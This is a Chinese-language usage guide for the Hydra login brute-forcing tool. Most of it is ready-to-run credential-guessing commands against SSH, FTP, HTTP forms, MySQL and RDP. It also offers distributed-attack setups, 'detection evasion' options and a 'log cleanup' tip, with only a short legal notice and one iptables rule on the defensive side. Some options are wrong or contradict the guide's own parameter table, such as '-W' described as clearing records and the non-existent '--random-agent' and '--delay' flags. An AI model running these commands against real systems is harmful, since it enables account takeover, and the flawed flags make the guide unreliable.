Hydra 详细使用方法大全
一、基础语法与安装
安装方法
# Kali Linux (预装)
sudo apt update && sudo apt install hydra
# CentOS/RHEL
sudo yum install hydra
# macOS
brew install hydra
二、基本参数详解
1. 目标指定参数
参数 | 描述 | 示例 |
---|---|---|
-h | 目标主机名/IP | -h 192.168.1.1 |
-s | 端口号 | -s 8080 |
-S | 使用SSL连接 | -S |
2. 认证参数
参数 | 描述 | 示例 |
---|---|---|
-l | 单个用户名 | -l admin |
-L | 用户名字典文件 | -L users.txt |
-p | 单个密码 | -p password123 |
-P | 密码字典文件 | -P passlist.txt |
-C | 组合文件(格式: 用户名:密码) | -C creds.txt |
3. 性能控制
参数 | 描述 | 示例 |
---|---|---|
-t | 并行任务数(默认16) | -t 32 |
-w | 等待响应时间(秒) | -w 10 |
-W | 连接超时时间(秒) | -W 5 |
三、服务模块使用示例
1. SSH爆破
hydra -L users.txt -P passwords.txt ssh://192.168.1.1 -s 22 -t 4 -vV -o ssh_results.txt
2. FTP爆破
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://10.0.0.1 -s 21 -f
3. HTTP基础认证
hydra -L users.txt -P passlist.txt http-get://example.com/admin -t 16
4. HTTP表单提交
hydra -l admin -P passwords.txt example.com http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=incorrect" \
-t 16 -f -vV
5. MySQL数据库
hydra -L db_users.txt -P sql_pass.txt mysql://192.168.1.100 -s 3306 -t 3
6. RDP远程桌面
hydra -V -f -L windows_users.txt -P win_pass.txt rdp://10.0.0.100 -t 8
四、高级功能使用
1. 密码规则生成
hydra -l user -x 6:8:aA1 192.168.1.1 ssh
- 生成6-8位密码,包含大小写字母和数字
2. 智能模式组合
hydra -L users.txt -p "Password123" -e nsr ssh://10.0.0.1
n
尝试空密码s
尝试用户名作为密码r
尝试反向用户名
3. 代理设置
hydra -l admin -P dict.txt http-proxy://proxy.com:8080
4. 分布式爆破
# 主控端
hydra -M targets.txt -t 6 ssh -L users.txt -P passes.txt
# targets.txt格式
10.0.0.1
10.0.0.2:2222
domain.com
五、结果分析与报告
1. 输出结果格式
[STATUS] attack finished for 192.168.1.1 (waiting for childs to finish)
[22][ssh] host: 192.168.1.1 login: root password: admin123
2. 结果保存选项
-o results.txt # 标准输出保存
-b json # JSON格式输出
-f # 找到第一个匹配即停止
六、性能优化技巧
1. 超时设置
hydra -t 16 -w 15 -W 10 ...
2. 失败重试
hydra -m 3 -M 30 ...
3. 规避检测
hydra --random-agent --delay=1s ...
七、错误排查指南
常见错误解决方案
-
连接被拒绝
[ERROR] could not connect to target
检查:
- 目标服务是否运行
- 防火墙设置
- 网络连通性
-
线程数过高
[ERROR] 16 targets specified but only 8 tasks running
解决方案:降低
-t
参数值 -
认证失败
[STATUS] 999 attempts made
检查:
- 字典文件是否正确
- 认证参数是否匹配
八、安全与法律提示
-
授权要求
- 必须获得书面授权
- 禁止测试政府/军事系统
-
防护建议
# 服务器端防护示例 iptables -A INPUT -p tcp --dport 22 -m recent --name ssh --set iptables -A INPUT -p tcp --dport 22 -m recent --name ssh --update --seconds 60 --hitcount 5 -j DROP
-
日志清理
hydra -W # 清除会话记录
九、实用字典资源
推荐字典位置:
/usr/share/wordlists/
├── rockyou.txt
├── fasttrack.txt
└── metasploit/
├── unix_passwords.txt
└── default_users_for_services_unhash.txt
所有技术应仅在合法授权范围内使用,建议在隔离测试环境充分验证后再进行实际测试。